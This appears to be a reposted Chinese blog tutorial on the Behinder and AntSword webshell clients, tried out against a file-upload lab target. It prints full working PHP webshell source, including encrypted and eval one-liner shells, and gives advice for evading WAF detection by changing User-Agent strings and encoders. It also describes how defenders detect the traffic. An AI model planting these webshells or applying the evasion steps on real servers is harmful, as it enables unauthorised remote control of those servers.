文章目录:
前言
冰蝎
PHP冰蝎马
通信数据包
冰蝎初体验
冰蝎攻与防
蚁剑
蚁剑的安装
蚁剑初体验
蚁剑编码器
蚁剑攻与防
总结
前言
一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。
冰蝎
冰蝎Github官方下载地址:Behinder
https://github.com/rebeyond/Behinder/releases
冰蝎是一款基于Java开发的动态加密通信流量的新型Webshell客户端。老牌 Webshell 管理神器——中国菜刀的攻击流量特征明显,容易被各类安全设备检测,实际场景中越来越少使用,加密 Webshell 正变得日趋流行。
由于通信流量被加密,传统的 WAF、IDS 设备难以检测,给威胁狩猎带来较大挑战。冰蝎其最大特点就是对交互流量进行AES对称加密,且加密秘钥是由随机数函数动态生成,因此该客户端的流量几乎无法检测。
PHP冰蝎马
冰蝎已经在2020年hw前夕推出了3.0版本,为了理解冰蝎的工作原理,此处先选择冰蝎 v.2.0.1 版本的 PHP 冰蝎马源码作为示例。我们可以从 Github 上下载下来的冰蝎工具 server 子目录下看到各种语言版本的冰蝎马:
打开 PHP 冰蝎马,源码如下:
附上源码备注进行分析:
<?php
@error_reporting(0);
session_start();
//如果接收到pass参数,则会生成16位的随机秘钥,存储到session中
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
//如果没接收到pass参数,则利用存储到session的秘钥进行解密
else
{
$key=$_SESSION['k'];
//接收POST来的加密后的待执行命令
$post=file_get_contents("php://input");
//如果不能加载openssl扩展,则使用base64解码
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
//使用openssl进行AES解密
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
/*
将解密后的$Ppost以`|`分割为数组;例如$post为assert|eval('phpinfo();'),那么分割后为:
array("assert", "eval('phpinfo();')")
*/
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
//创建C类,利用__construct中的eval来执行解密后的值
@new C($params);
}
?>
通信数据包
结合上述源码,来看看冰蝎 v.2.0.1 版本客户端和服务器(被上传冰蝎马的受害主机)的加密通信过程(图片来自红蓝对抗——加密Webshell“冰蝎”攻防https://xz.aliyun.com/t/6550):
大致的加密通信流程即:
1. 首先客户端以Get形式发起带密码的请求(形如 http://192.168.43.11/dvwa/shell.php?pass=645 的请求);
2. 服务端产生随机密钥(使用随机数MD5的高16位作为密钥),将密钥写入Session并将密钥返回客户端;
3. 客户端获取密钥后,将Poyload(待执行的攻击命令)用AES算法(或者XOR运算)加密,用POST形式发送请求;
4. 服务端收到请求,用Session中的密钥解密请求的Body部分,之后执行Payload,将直接结果返回到客户端。
5. 客户端获取服务端返回结果,回显到客户端UI界面上。
来看看使用 WireShark 捕获的冰蝎客户端与服务器的通信过程:
此处单独找了两图放大观协商加密密钥的过程:
冰蝎初体验
此处不再继续深入研究冰蝎源码和通信原理,上一个墨者学院文件上传漏洞的靶场来看看冰蝎的使用效果。
简述下此题,php文件被过滤,使用 php5 扩张名进行绕过:
直接上冰蝎客户端连接 shell:
成功连接上Shell后可对被攻陷的主机进行命令执行、文件管理、反弹Shell、数据库管理等进一步的攻击:
冰蝎攻与防
在冰蝎逐渐流行以后,国内各大安全厂商也开始了行动,使用各种方法检测冰蝎的Webshell和流量,可谓八仙过海各显神通。
以下是常见的基于流量的检测方法:
1、通过密钥协商的过程中的一些特征来检测
老版冰蝎工具在连接Webshell的时候会存在一个密钥协商的过程,这个过程是纯明文的数据交换,冰蝎存在这样的特征:发起一共两次的密钥协商,通过比较两次密钥协商的返回包中内容的不同部分来获取其中的密钥。
在这个协商过程中,防护设备可以结合URL、请求包和返回包的内容以及头部信息来综合进行判断,这种类型检测的优势是这部分的流程是冰蝎内置的实现,攻击者不太好进行修改绕过。而劣势是在大流量的环境下很容易引起大量的误报。
2、通过Shell交互过程中的HTTP请求特征来检测
冰蝎在发送HTTP请求时存在一些特征,例如其工具中内置了17个User-Agent头,在用户没有自定义的情况下会随机选择一个发送。但是这些User-Agent头大部分是一些老版本的浏览器或设备。
这个类型检测的优势是检测方式比较简单,但是在大流量的环境下很容易引起误报,一般使用多个特征相结合的方法来改善误报的情况,并且这部分的特征通常是一些弱特征,攻击者可以通过定制请求头、使用代理等方式修改冰蝎的请求包很轻易的来绕过这类的检测。
3、通过Webshell上传时的流量特征来检测
在真实的攻击场景下,攻击者通常是通过文件上传、文件写入等方式来写入冰蝎的Webshell,所以流量设备也可以通过检测攻击场景的数据包来发现冰蝎的存在。
这部分的流量形式主要取决于Web应用,是攻击者不好控制的,而且通常都是以明文形式进行传输,所以比较易于检测。
但是这种检测方式在遇到非文件上传等漏洞时,有可能无法捕捉到Webshell的特征。
冰蝎3.0
冰蝎赶在2020年HW前发布了3.0版本,这个版本的冰蝎改动较大,一举绕过国内大量Webshell检测引擎和流量检测引擎。按照官方的说法,这次主要的改动是:
从防守方的角度看,这些改动中对防御设备影响最大的是第1点,也就是说,3.0版本的冰蝎不在有密钥协商的过程,从原理上直接绕过了大量流量检测设备(大部分设备是通过握手的行为来检测冰蝎的流量)。
另外,虽然新版默认移除了老版本密钥协商的逻辑,但是如果用户仍然使用了老版本的Webshell,也是可以连接的。
下面对比一下新老版本中PHP客户端(Webshell)的区别,先来看看老版本的PHP冰蝎马:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
再来看看新版本PHP冰蝎马:
<?php
@error_reporting(0);
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
}
?>
可以看到新版去除了握手的过程,直接将一个写死在Webshell中的字符串作为AES密钥解密流量包。
可以看到老版本的第一个数据包是一个GET请求,而新版本的第一个数据包即为加密流量了(上图来自知乎-长亭科技的专栏文章——冰蝎的前世今生:3.0新版本下的一些防护思考)。
蚁剑
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。通俗的讲:中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
蚁剑的安装
唯一官方Github下载地址:AntSwordProject
https://github.com/AntSwordProject/
注意:我们下载的时候需要下载两个部分,一个是项目核心源码“antSword”;另一个是加载器,加载器则分为三个版本:Mac、Windows、Linux。
将两个文件下载好后,解压。进入加载器目录(AntSword-Loader-v4.0.3-win32-x64),打开 AntSword.exe:
第一次安装项目需要先初始化,如果你已经下载了核心源码,就选择项目源码的文件夹(注意:这个项目文件夹就是你以后需要备份的,存储着你的shell和shell内的资料)。如果只下载了加载器,选择一个空文件夹,加载器会自动帮你下载核心项目源码。
等初始化完成后,再双击“AntSword.exe”即可正常启动:
蚁剑初体验
此处同样采用上文提到的墨者学院文件上传漏洞靶场进行蚁剑使用体验,与冰蝎不同的是,蚁剑没有单独的蚁剑木马,它采用的是跟中国菜刀一样原始的一句话木马:
使用中国蚁剑配置木马连接信息(此处暂不理会编码器和解码器的设置,后面再单独谈,暂选默认即可
蚁剑具有“代理设置”功能,此处为了直接使用 BurpSuite 观察蚁剑与服务端(被上传一句话木马的受害主机)的通信过程的数据包,我们启用下蚁剑的代理功能(不启用代理的话可直接使用 WireShark 抓包观察也行):
开始使用蚁剑连接木马,开启文件管理功能:
打开靶机的虚拟终端:
此时可以在 BurpSuite 上捕抓到对应的通信数据包:
数据包头“cmd”是木马的连接密码。可以看到中国蚁剑默认状态下的通信数据包仅仅做了URL编码处理,与明文无异,想过WAF基本上不可能。
蚁剑编码器
总所周知,蚁剑所有脚本的源代码(php/asp/aspx等)均来自菜刀,所以流量特征也和菜刀差不多,过WAF基本不用想了。所以有了编码器和解码器,进行流量混淆可绕过WAF,并且编码器和解码器可以自定义,使用nodejs 编写即可,类似于插件很容易上手,先简单说明下编码器和解码器的作用。
· 编码器:对发送流量进行编码,服务端进行解码。
· 解码器:服务端对返回流量编码,需要客户端通过解码器解码还原流量接收。
可以看到一个对发送加密,一个对返回加解密,这样才能达到完美过WAF的目的。但是蚁剑自带的编码器其实过WAF还是比较勉强的,因为它的webshell脚本是最原始的一句话,如
<?php @eval($_POST['cmd']);?>
根据上面提到的编码器作用,可以知道,服务端得进行解码才能正常接收,那像这种一句话是没法解码的,所以实际上是将解码函数一同发送到服务端,那几个解码函数是没法加密的,这就是一个很明显的特征。
Base 64编码
这里使用 base 64 编码器举例,通过流量分析可以看到,将原本传输的代码做了 base 64 编码,然后调用eval对前面的参数进行解码还原:
上面因为只选择了编码器为base 64,未选择解码器,所以可以看到服务器相应包是明文传输的。下面看看编码器和解码器都选择 base 64编码的情况:
中国蚁剑的其他编码方式此处就不再复述了。
蚁剑攻与防
跟冰蝎一样,中国蚁剑虽然可以做数据包编码,相对于中国菜刀具有一定的隐蔽性,但是也存在一些流量特征,各大安全厂商也在自家WAF里头对蚁剑的流量进行识别和拦截。道高一尺魔高一丈,对蚁剑的升级和改造势在必行。
1、编码器改造
上面已经提到,蚁剑在数据包中实际上是将解码函数一同发送到服务端,那几个解码函数是没法加密的,所以产生一个很明显的流量特征。
蚁剑也支持使用者自定义编码器和解码器,关于这一块的升级改造读者可参见博文:蚁剑改造过WAF系列:https://www.cnblogs.com/0daybug/p/12914693.html,此处不展开叙述。
2、请求头修改
蚁剑默认的数据包里都携带了特别明显的请求头信息:User-Agent: antSword/v2.1,对WAF来说这简直是自报家门明目张胆……如下图所示:
我们需要将请求包中的 User-Agent 修改为正常的浏览器标识:
#google浏览器标识符
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3100.0 Safari/537.36
修改位置在蚁剑的本地源码文件夹中,对antSword\modules\request.js 文件修改USER_AGENT变量值:
同时还需要修改antSword\modules\update.js 文件里的set('User-Agent', "antSword/v2.0"),如下图所示:
重启应用之后再次连接shell,可以看到 User-Agent 和我们修改的一样了:
关于中国蚁剑的更多改造和升级,读者可进一步学习博文:从静态到动态打造一款免杀的antSword(蚁剑):https://xz.aliyun.com/t/4000,此处不再深入开展。
总结
冰蝎改造将动态的AES密钥写死在webshell里,可以减少很多特征。蚁剑就是将解码函数写死在webshell里,也可以有效绕过WAF检测。安全攻防永远是动态的,Keep Studying!
作者:Tr0e
原文链接:https://blog.csdn.net/weixin_39190897/article/details/109417674
如有侵权,请联系删除
好文推荐